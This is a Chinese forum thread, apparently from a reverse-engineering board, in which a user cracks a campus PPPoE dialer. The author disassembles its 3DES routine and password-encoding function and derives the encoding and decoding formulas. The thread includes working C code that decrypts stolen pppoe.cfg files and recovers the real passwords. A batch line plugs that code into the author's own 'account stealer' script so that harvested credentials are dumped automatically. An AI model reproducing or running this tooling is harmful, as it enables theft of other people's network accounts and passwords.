004038F0 /$ 53 push ebx 004038F1 |. 56 push esi 004038F2 |. 8B7424 0C mov esi,dword ptr ss:[esp+C] 004038F6 |. 57 push edi 004038F7 |. 85F6 test esi,esi 004038F9 |. 0F84 BD000000 je Tracy.004039BC 004038FF |. 8B7C24 14 mov edi,dword ptr ss:[esp+14] 00403903 |. 85FF test edi,edi 00403905 |. 0F84 B1000000 je Tracy.004039BC 0040390B |. 8B4424 1C mov eax,dword ptr ss:[esp+1C] 0040390F |. 85C0 test eax,eax 00403911 |. 0F84 A5000000 je Tracy.004039BC 00403917 |. 8B4C24 18 mov ecx,dword ptr ss:[esp+18] 0040391B |. 8D59 07 lea ebx,dword ptr ds:[ecx+7] 0040391E |. 83E3 F8 and ebx,FFFFFFF8 00403921 |. 0F84 95000000 je Tracy.004039BC 00403927 |. 8B5424 20 mov edx,dword ptr ss:[esp+20] 0040392B |. 55 push ebp 0040392C |. 52 push edx 0040392D |. 50 push eax 0040392E |. E8 9D000000 call Tracy.004039D0 00403933 |. A0 68314400 mov al,byte ptr ds:[443168] 00403938 |. 83C4 08 add esp,8 0040393B |. 84C0 test al,al 0040393D |. 75 2B jnz short Tracy.0040396A 0040393F |. C1FB 03 sar ebx,3 00403942 |. 85DB test ebx,ebx 00403944 |. 7E 6F jle short Tracy.004039B5 00403946 |. 8B6C24 28 mov ebp,dword ptr ss:[esp+28] 0040394A |> 55 /push ebp 0040394B |. 68 6C314400 |push Tracy.0044316C 00403950 |. 57 |push edi 00403951 |. 56 |push esi 00403952 |. E8 F9000000 |call Tracy.00403A50 00403957 |. 83C4 10 |add esp,10 0040395A |. 83C6 08 |add esi,8 0040395D |. 83C7 08 |add edi,8 00403960 |. 4B |dec ebx 00403961 |.^ 75 E7 \jnz short Tracy.0040394A 00403963 |. 5D pop ebp 00403964 |. 5F pop edi 00403965 |. 5E pop esi 00403966 |. B0 01 mov al,1 00403968 |. 5B pop ebx 00403969 |. C3 retn 0040396A |> C1FB 03 sar ebx,3 0040396D |. 8BEB mov ebp,ebx 0040396F |. 85ED test ebp,ebp 00403971 |. 7E 42 jle short Tracy.004039B5 00403973 |. 8B5C24 28 mov ebx,dword ptr ss:[esp+28] 00403977 |. 84DB test bl,bl 00403979 |. 0F944424 28 sete byte ptr ss:[esp+28] 0040397E |> 53 /push ebx 0040397F |. 68 6C314400 |push Tracy.0044316C 00403984 |. 57 |push edi 00403985 |. 56 |push esi 00403986 |. E8 C5000000 |call Tracy.00403A50 0040398B |. 8B4424 38 |mov eax,dword ptr ss:[esp+38] 0040398F |. 50 |push eax 00403990 |. 68 6C344400 |push Tracy.0044346C 00403995 |. 56 |push esi 00403996 |. 56 |push esi 00403997 |. E8 B4000000 |call Tracy.00403A50 0040399C |. 53 |push ebx 0040399D |. 68 6C314400 |push Tracy.0044316C 004039A2 |. 56 |push esi 004039A3 |. 56 |push esi 004039A4 |. E8 A7000000 |call Tracy.00403A50 004039A9 |. 83C4 30 |add esp,30 004039AC |. 83C6 08 |add esi,8 004039AF |. 83C7 08 |add edi,8 004039B2 |. 4D |dec ebp 004039B3 |.^ 75 C9 \jnz short Tracy.0040397E 004039B5 |> 5D pop ebp 004039B6 |. 5F pop edi 004039B7 |. 5E pop esi 004039B8 |. B0 01 mov al,1 004039BA |. 5B pop ebx 004039BB |. C3 retn 004039BC |> 5F pop edi 004039BD |. 5E pop esi 004039BE |. 32C0 xor al,al 004039C0 |. 5B pop ebx 004039C1 \. C3 retn
有经验的应该看着这几个循环就知道是3DES了,可我不知道啊,于是,傻乎乎的跟着这些循环各种F8、F7,乱搞一气后,把自己给转晕乎了。
于是网上发帖求救,
http://bbs.pediy.com/showthread.php?t=144811 ,好心的exile给我解答了。再次感谢,而后,他还给过我很多帮助,真心感谢你。
不过,他没说明缘由,用邮箱跟他交流,他说自己跟着跟着就出来了,好吧,还是得自己去跟。不过这个过程中,我又学到了很多(如果他全告诉我了,估计向我这么懒的人就不会自己去摸索了,嘿嘿)。再次感谢~。
好吧,要讲3DES,先看看DES的一些知识。
DES 使用一个 56 位的密钥以及附加的 8 位奇偶校验位,产生最大 64 位的分组大小。这是一个迭代的分组密码,使用称为 Feistel 的技术,其中将加密的文本块分成两半。使用子密钥对其中一半应用循环功能,然后将输出与另一半进行“异或”运算;接着交换这两半,这一过程会继续下去,但最后一个循环不交换。DES 使用 16 个循环,使用异或,置换,代换,移位操作四种基本运算。——来自百度百科
然后在论坛里看到了这些个帖子:
http://bbs.pediy.com/showthread.php?t=90593&highlight=des
http://bbs.pediy.com/showthread.php?t=17801&highlight=3DES
http://baike.baidu.com/view/350958.htm
再结合exile给的源码,慢慢看啊慢慢看。然后回想刚传进去的参数,16位的密钥应该就是“30 68 65 72 6F 6C 69 62 61 6D 74 69 75 6D 30 00 0herolibamtium0.”吧。然后呢,然后还是没看懂。额,还是用他给的代码吧。不过至少知道了这个加密算法的长相。红色的那一部分是主要的16轮循环。至于前面,是一些变形或者处理吧,在这也麻烦懂的人说说哈,3DES我确实没弄懂,后面的MD5倒是自己一个个跟出来了。所以,这个我也不知道该怎么详说了。
之后,就直接用exile提供的代码。来利用了,我们是要一次性把文件夹中所有pppoe.cfg文件给它解密了。
那我们先要直接把他提供的代码作为一个函数输出就行了。贴上main函数的代码和注释,我的程序写的很烂的,也希望大家给点指教。比如下面代码中哪些可以简化,哪些不规范。谢了。
以下是mian()函数片段:
int main(int argc,char *argv[])
{
char a[]="pppoe.cfg";
if (argc<2)
{
argv[1]=a; //如果没有参数传入,则默认打开pppoe.cfg
}
char user[15]; //学校账号长度都在15字符以内
char pwd[10]; //学校账号密码都为6字符
unsigned char npwd[10]; //真实密码
FILE* ifile = 0; //对pppoe.cfg文件,读
FILE* ofile = 0; //对pppoe.txt文件,写
int c,i,j = 0;
int id=0; //读文件时的计数变量
unsigned char rawData[50]; //与exile的代码衔接
if ((ifile = fopen(argv[1], "rb"))==NULL) //文件打开操作
{
printf ("Can't open file %c \n",argv[1]);
exit (1);
}
while ((c = fgetc(ifile)) != EOF)//以十六进制读取文件内容并且存放到rawData[50]中
{
rawData[id]=c;
id++;
}
int len = sizeof(rawData); //返回文件总长度
len = len%8?(len/8+1)*8:len; //与exile的代码衔接
BYTE *buf = (BYTE *)malloc(len);//与exile的代码衔接
memset(buf, 0, len);//与exile的代码衔接
memcpy(buf, rawData, sizeof(rawData));//与exile的代码衔接
for (i=0; i<len/8; i++)
{
Des3Decrypt(buf+i*8);
}//与exile的代码衔接,执行完整个3DES解密过程
for (i=0,j=12;i<buf[8];i++,j++)//截获账号
{
user[i]=buf[j];
}
user[i+1]=0x2C;//添加一个逗号,方便bat程序对pppoe.txt操作
for (i=0,j=16+buf[8];i {
pwd[i]=buf[j];
}//获得保存在pppoe.cfg中的密码
i=0;
for (j=0; j {
c=(int)pwd[j];
switch (c)
{
case 48: npwd[i]=0x48;break;
case 49: npwd[i]=0xc8;break;
case 50: npwd[i]=0x49;break;
case 51: npwd[i]=0xc9;break;
case 52: npwd[i]=0x58;break;
case 53: npwd[i]=0xd8;break;
case 54: npwd[i]=0x59;break;
case 55: npwd[i]=0xd9;break;
case 56: npwd[i]=0x68;break;
case 57: npwd[i]=0xe8;break;
}//因为前面用hook的方法把0-9的对应密文找出来了,所以,直接用上,到后面的文章中会把这一段的加密算法也弄出来的
i++;
}
npwd[i]=0x0001;
npwd[i+1]=0x0002;//这两个要用%c写入,因为,在1.2.0版本升级1.2.9后,为了防止手机或者路由上网,客户端对密码加了两个键盘输入不了的字符0001和0002
if ((ofile = fopen("pppoe.txt", "a"))==NULL)
{
printf ("Can't open file pppoe.txt \n");
exit (1);
}//打开文件
for (i=0;i<buf[8];i++)//把用户名存入文件中
{
fprintf(ofile,"%c",user[i]);
}
fprintf(ofile,"%c",user[i+1]);//在文件中输入一个逗号
for (i=0;i<buf[12+buf[8]];i++)//把密码存入文件中
{
fprintf(ofile,"%2x",npwd[i]);
}
fprintf (ofile,"%c",npwd[i]);
fprintf (ofile,"%c",npwd[i+1]);//输入特殊符号,并以换行结尾
fprintf(ofile,"%c",0X2C);//在文件中输入一个逗号
for (i=0;i<buf[12+buf[8]];i++)//把密码存入文件中
{
fprintf(ofile,"%c",pwd[i]);
}
fprintf(ofile,"\n");
free(buf);
fclose(ifile);
fclose(ofile);
}
之后在我们的盗号器1.1.bat后面加上一句:
for /f "delims=" %%i in ('dir /a-d /b "*.cfg"') do get.exe %%i
便可以完全的解放我们的双手,在盗得账号之后,自动获取真实密码保存到pppoe.txt中。
恩,今天就到这里了。还是希望大家能对3DES算法做一个很好的解释哦。也希望大家提出建议帮我提高我代码可读性哈。
能力值:
( LV2,RANK:10 )
46 楼
ty
能力值:
( LV13,RANK:320 )
47 楼
能力值:
( LV2,RANK:10 )
48 楼
支持!支持!!
能力值:
( LV13,RANK:320 )
49 楼
由于还没能熟悉看雪的编辑器,所以很多格式不能很好的调整过来,希望大家见谅哈,同时,调整了格式的文章更加方便阅读,也欢迎大家来我博客支持一下。原文来自:Tracy'Blog——【校园网那些事 】,等全部写完后,也会把电子稿发布出来的。
另外,也希望大家能够在看文章的同时给出大家宝贵的建议和意见,特别是关于你对那些技术性问题的看法,文章本意是希望能够共同提高~!谢谢大家支持哦。 Chapter 2——分析软件自身算法
还记得前面我们hook出来的真实密码么?恩,我们按照对应的关系给0-9建立了一张表格,稍微推导一下算法,可却发现继续不下去了,是啊,数字和字母至少可以用hook给它一一对应起来,可要是用的是汉字呢?要知道,在带有password属性的文本框中是不能输入汉字的。那就意味着不能用hook找出汉字对应的密码咯。当然,老这么用先前的工具去找密码显得太过于繁琐了。于是,我们今天来看一看它到底是通过什么算法加密的。
其实,这一段是在后面我想弄清楚网络数据包的信息时找到的算法,不过,为了文章的流畅性,就一步步的说过去吧。
还是先来分析下吧: 1. 文件运行首先是读取pppoe.cfg 2. 而后再用3DES解密算法对其解密,得到里面的信息,如账号、密码、自动拨号、保存密码等 3. 在之后就是把这些信息set在UI上 4. 用户点击拨号后,程序先把UI上的信息再次加密保存到pppoe中。 5. 获取本机当前的网卡型号,用于主程序查找已建立的拨号连接(因为那个连接是以网卡信息命名的)。 6. 若找到对应建立的拨号连接,调用rasdial进行拨号,如果没有对应的拨号连接,则自动建立拨号连接,然后再调用rasdial进行拨号。(前面分析过,这个连接是在用户点击拨号后建立的) 那也就是说,在第六步无论如何都会调用rasdial进行拨号的。传递给rasdial的参数就是我们要找的真实密码,前面我们用hook程序验证了,是加好密了的。那也就是说,如果以上猜测没错的话,在读取文件得到输入的账号密码到调用rasdial中间,肯定有对账号进行加密得到真实密码的地方。
打开OD,加载程序(脱壳了的,加的是ASPack 2.12,用插件、单步都可以顺利脱掉,这壳只起到压缩资源的作用)。继续用C32asn打开(这软件用习惯了,用它找文本,找导入很是方便),Ctrl+I,搜索rasdial,找到对应的地址,复制到OD中下断。或者,也可以直接在OD命令行下bp RasDialA。用C32Asm另一个作用就是确定是否调用这个API。
F9,跑起来,然后点击拨号,程序中断在系统领空了。Alt+F9返回。并且对返回地址的上一个Call下断点。因为是它调用的RasDialA。然后Ctrl+F2重新加载程序。F9运行,我们先看看它传递了什么参数。断在了00401CC6 call <jmp.&rasapi32.RasDialA>处。
恩,先看看RasDialA函数。
函数原型: DWORD RasDial( LPRASDIALEXTENSIONS dialExtensions, LPTSTR phoneBookPath , LPRASDIALPARAMS rasDialParam , DWORD NotifierType, LPVOID notifier, LPHRASCONN pRasConn ); 参数: dialExtensions:可以被忽略并且可以设置为NULL。 phoneBookPath:可以被忽略并且可以设置为NULL。 rasDialParam:指向RASDIALPARAMS 结构的指针,用来描述 RAS连接的调用参数。调用者必须设置 RASDIALPARAMS 结构的 dwSize成员(即结构大小),用sizeof(RASDIALPARAMS)取得大小,防止不同版本的系统取得的大小不同 NotifierType:描述通告程序的参数性质。如果通告程序为NULL,本参数可以忽略,如果非空,则设置本参数0xFFFFFFFF 通过程序是一个句柄,是窗体接收通告程序消息用的。在通告程序进行中,wParam参数指示 RAS连接将要进入的连接状态。当发生错误时lParam里存储错误信息。 Notifier:一个指针,指向窗体句柄,用来接收RasDial的通告事件。如果本参数非空,RasDial为每一个通告事件发送一个windows消息。RasDial调用异步操作:在建立连接之前RasDial立即返回,使用窗体进行进程通信。 pRasConn:一个HRASCONN类型的指针,必须设置HRASCONN 类型变量为空在调用RasDial前。如果RasDial成功,本函数存储一个RAS连接句柄在本参数中。 返回值: 0表示成功。而且本函数存储一个RAS连接的句柄的指针在pRasConn中,非0值表示错误。 我们在od中下好断点后,直接F9运行。发现,程序被断下来了。Alt+F9返回程序领空。然后网上翻,找到00401CC6下断点。重新载入,运行,在00401CC6断下,之后我们可以在堆栈窗口中看到这些:
也就是说,在调用rasdial时的参数是这六个。而且我们知道,C++是使用_Cdel规范,即:传递的参数是从右到左依次入栈的。也就是说,Arg1就是第一个参数dialExtensions的值。依次类推。我们来看看第三个参数吧。0012EBCC,在数据窗口中跟随。
RASDIALPARAMSA结构如下: typedef struct _RASDIALPARAMS { DWORD dwSize; TCHAR szEntryName[RAS_MaxEntryName + 1]; TCHAR szPhoneNumber[RAS_MaxPhoneNumber + 1]; TCHAR szCallbackNumber[RAS_MaxCallbackNumber + 1]; TCHAR szUserName[UNLEN + 1]; TCHAR szPassword[PWLEN + 1]; TCHAR szDomain[DNLEN + 1]; DWORD dwSubEntry; ULONG_PTR dwCallbackId; DWORD dwIfIndex; } RASDIALPARAMS, *PRASDIALPARAMS; 其中szUserName和szPassword为ADSL账号和密码,也是我们需要截获的数据。
那么,怎么得到这个信息呢?前面我用dll钩子实现了,今天我们来找找其他的方法。从这个结构体中直接还原出账号密码。先看看这一段有些什么特点,第一个传入的是大小,第二个传入的是拨号实体,也就是我们要进行拨号的那个拨号连接的名称。就是pppoe_的那个,第三个是电话号码,第四个是回拨,第五个是用户名,第六个是密码。
黄色的是第一个参数,即整个结构体的大小,为041C,与012EBCC相加就得到末地址0012EFE8。红色的就是第二个参数:拨号实体(这个是可以肉眼识别出来的)。
从首地址看到末地址,很快就可以找出两个可读ascii码,分别是账号和密码。于是,我们用内存注册机也能实现。当然,现在是要找算法。密码出现在:
0012EED4 34 38 63 39 34 39 64 38 65 38 63 39 01 02 00 00 48c949d8e8c9[1]..
现在我们关注的是,它是怎么来的。于是,对0012EED4处下硬件访问断点,最好是在点击拨号前下(可避免前面对这段空间访问产生的不是自己想要的中断)。结果发现,也不能下断,因为在程序运行过程中会一直对这段空间进行访问,所以,我们只能在00401CC6这个调用拨号的call前面下断点,并且,一直关注这0012EED4这段空间,来缩小范围。经过很多次尝试后,发现程序运行到00401B45时,0012EED4中存放的是未加密的密码。
而,F8步过这个Call后也并没有发生什么变化。继续F8往下走,先不跟进去,确定了再跟进去。一直到00401BBA处出现了密码。
我们暂且可以认为,加密段是在00401BBA以上的,至于上到哪里,暂时也不能确定。而运行到00401C1A的时候,真凶出现了。恩,我们来分析一下00401BBA前后这段代码。
00401B45前面一段和00401BBA后面一段很相似,而且,作用也都是改变0012EED4中的内容,而且没有调用函数,于是我们可以判定它们只是起到转移数据的作用,不是我们要找的,然后00401B45到00401BBA的代码如下:
00401B45 |. E8 E60A0000 call Tracy.00402630 00401B4A |. B9 40000000 mov ecx,40 00401B4F |. 33C0 xor eax,eax 00401B51 |. 8DBC24 280100>lea edi,dword ptr ss:[esp+128] 00401B58 |. BE 98254400 mov esi,Tracy.00442598 ;, ASCII "032593" 00401B5D |. F3:AB rep stos dword ptr es:[edi] 00401B5F |. A1 94254400 mov eax,dword ptr ds:[442594] 00401B64 |. 8D7C24 28 lea edi,dword ptr ss:[esp+28] 00401B68 |. 8BC8 mov ecx,eax 00401B6A |. 50 push eax 00401B6B |. 8BD1 mov edx,ecx 00401B6D |. 8D4424 2C lea eax,dword ptr ss:[esp+2C] 00401B71 |. C1E9 02 shr ecx,2 00401B74 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi> 00401B76 |. 8BCA mov ecx,edx 00401B78 |. 50 push eax 00401B79 |. 83E1 03 and ecx,3 00401B7C |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] 00401B7E |. E8 AD0A0000 call Tracy.00402630 00401B83 |. A1 94254400 mov eax,dword ptr ds:[442594] 00401B88 |. 83C4 10 add esp,10 00401B8B |. 33F6 xor esi,esi 00401B8D |. 3BC3 cmp eax,ebx 00401B8F |. 8DBC24 200100>lea edi,dword ptr ss:[esp+120] 00401B96 |. 7E 22 jle short Tracy.00401BBA 00401B98 |> 33C9 /xor ecx,ecx ; 将密码以十六进制输出 00401B9A |. 8A4C34 20 |mov cl,byte ptr ss:[esp+esi+20] 00401B9E |. 51 |push ecx 00401B9F |. 68 84B44300 |push Tracy.0043B484 ; ASCII "%02x" 00401BA4 |. 57 |push edi 00401BA5 |. E8 281D0100 |call Tracy.004138D2 00401BAA |. A1 94254400 |mov eax,dword ptr ds:[442594] 00401BAF |. 83C4 0C |add esp,0C 00401BB2 |. 83C7 02 |add edi,2 00401BB5 |. 46 |inc esi 00401BB6 |. 3BF0 |cmp esi,eax 00401BB8 |.^ 7C DE \jl short Tracy.00401B98 00401BBA |> 8DBC24 200100>lea edi,dword ptr ss:[esp+120] ; 得到密码放入EDI中
红色那一部分的“%02x”让我联想到C里面的格式转换,而且,我们也分析得出,这一段的确是用来把字符串格式化的。所以,范围再次缩小。整个这一段也就只有三个call,被我们排除了一个,其他两个都是call的一个函数,说不定就是算法段呢。我们跟进去看看。直接在00401B45处敲下enter键。看到了下面的代码。
00402630 /$ 55 push ebp 00402631 |. 8B6C24 0C mov ebp,dword ptr ss:[esp+C] 00402635 |. 85ED test ebp,ebp 00402637 |. 57 push edi 00402638 |. 7F 05 jg short Tracy.0040263F 0040263A |. 5F pop edi 0040263B |. 33C0 xor eax,eax 0040263D |. 5D pop ebp 0040263E |. C3 retn 0040263F |> 8B7C24 0C mov edi,dword ptr ss:[esp+C] 00402643 |. 85FF test edi,edi 00402645 |. 75 05 jnz short Tracy.0040264C 00402647 |. 5F pop edi 00402648 |. 33C0 xor eax,eax 0040264A |. 5D pop ebp 0040264B |. C3 retn 0040264C |> 56 push esi 0040264D |. 33F6 xor esi,esi 0040264F |. 85ED test ebp,ebp 00402651 |. 7E 3F jle short Tracy.00402692 00402653 |> 8A0C3E /mov cl,byte ptr ds:[esi+edi] ; 取密码第一位字符 00402656 |. 8AC1 |mov al,cl ; 密码第一位字符赋值给AL 00402658 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL 0040265A |. C0E8 02 |shr al,2 ; AL向右移动2位 0040265D |. 24 20 |and al,20 ; AL与上20 0040265F |. 80E2 40 |and dl,40 ; 密码第一位与上40 00402662 |. 0AC2 |or al,dl 00402664 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL 00402666 |. C0E8 02 |shr al,2 ; AL向右移动2位 00402669 |. 80E2 20 |and dl,20 ; 与20 0040266C |. 0AC2 |or al,dl ; AL或DL 0040266E |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL 00402670 |. D0E8 |shr al,1 ; AL向右移动1位 00402672 |. 80E2 02 |and dl,2 ; DL与上2 00402675 |. 0AC2 |or al,dl ; AL或DL 00402677 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL 00402679 |. 80E2 1C |and dl,1C ; 密码第一位与上1C 0040267C |. C0E1 05 |shl cl,5 ; CL左移5位 0040267F |. 0AD1 |or dl,cl ; DL与上CL 00402681 |. D0E8 |shr al,1 ; AL向右移动1位 00402683 |. C0E2 02 |shl dl,2 ; DL向左移动2位 00402686 |. 0AC2 |or al,dl ; huo 00402688 |. 74 03 |je short Tracy.0040268D 0040268A |. 88043E |mov byte ptr ds:[esi+edi],al ; 填充到原来的地方 0040268D |> 46 |inc esi ; 字符标记 0040268E |. 3BF5 |cmp esi,ebp ; 当ESI等于EBP的时候,代表所有的字符都计算完了 00402690 |.^ 7C C1 \jl short Tracy.00402653 ; 循环 00402692 |> 5E pop esi 00402693 |. 5F pop edi 00402694 |. B8 01000000 mov eax,1 00402699 |. 5D pop ebp 0040269A \. C3 retn
而且,有没觉得红色的那段代码太漂亮、太独特了。或许,它们就是我们要找的算法呢。恩,下好断点,OD重载。再来一次,看传进去的是些什么参数。又对这些参数做了什么。
我们发现,在00401B45前面总共只有两个push,可能,传进去的参数也就只有两个吧,看堆栈窗口。
恩,传进去的是原始密码,和密码的长度。好像,我们越来越接近我们的答案了哈。先不进去,数据窗口跟随12E9CC,F8步过,看看有什么变化。
嗯?变了一半,那是不是说,另外一半是在后面那个call里面弄出来的呢?答案是肯定的,于是,分析上面的那段算法吧,注解也已经写上去了。其实就是一段移位算法,可逆向的,也就是可是反向解密。于是,先写下它的加密算法用C表示如下:
KEY=((((((((pwd>>2)&0X20)|(pwd&0X40))>>2)|(pwd&0X20))>>1)|(pwd&0X2))>>1)|(((pwd&0X1C)|(pwd<<5))<<2);
然后呢,解密算法,程序中可能会有也可能没有,至少,我们不知道它在什么地方用到解密,由于第一次接触这些,不知道如何写出解密算法。
发帖求助:http://bbs.pediy.com/showthread.php?t=157538,然后得到了好心人的解答方法,自己再在草稿纸上画了画,于是写下了解密算法。
CON=((pwd&0X70)>>2)|((pwd&0X80)>>7)|((pwd&0X02)<<6)|((pwd&0X04)<<4)|((pwd&0X08)<<2)|((pwd&0X01)<<1);
这个算法,后面的利用中也用到了。
所以,我们就成功的解决了密码是英文的问题,也解决了对中文加密的问题(后面有对中文加密的实例)。
于是,Chapter1中,获取真实密码那一段switch case可替换为:
KEY=((((((((pwd>>2)&0X20)|(pwd&0X40))>>2)|(pwd&0X20))>>1)|(pwd&0X2))>>1)|(((pwd&0X1C)|(pwd<<5))<<2);
恩,就写到这里吧,近三个小时了,手都敲痛了。后面估计还有那么四到五章,分别是MD5、网络校验、和一个系统的编写、以及最后的总结。
能力值:
( LV13,RANK:320 )
50 楼
谢谢哦。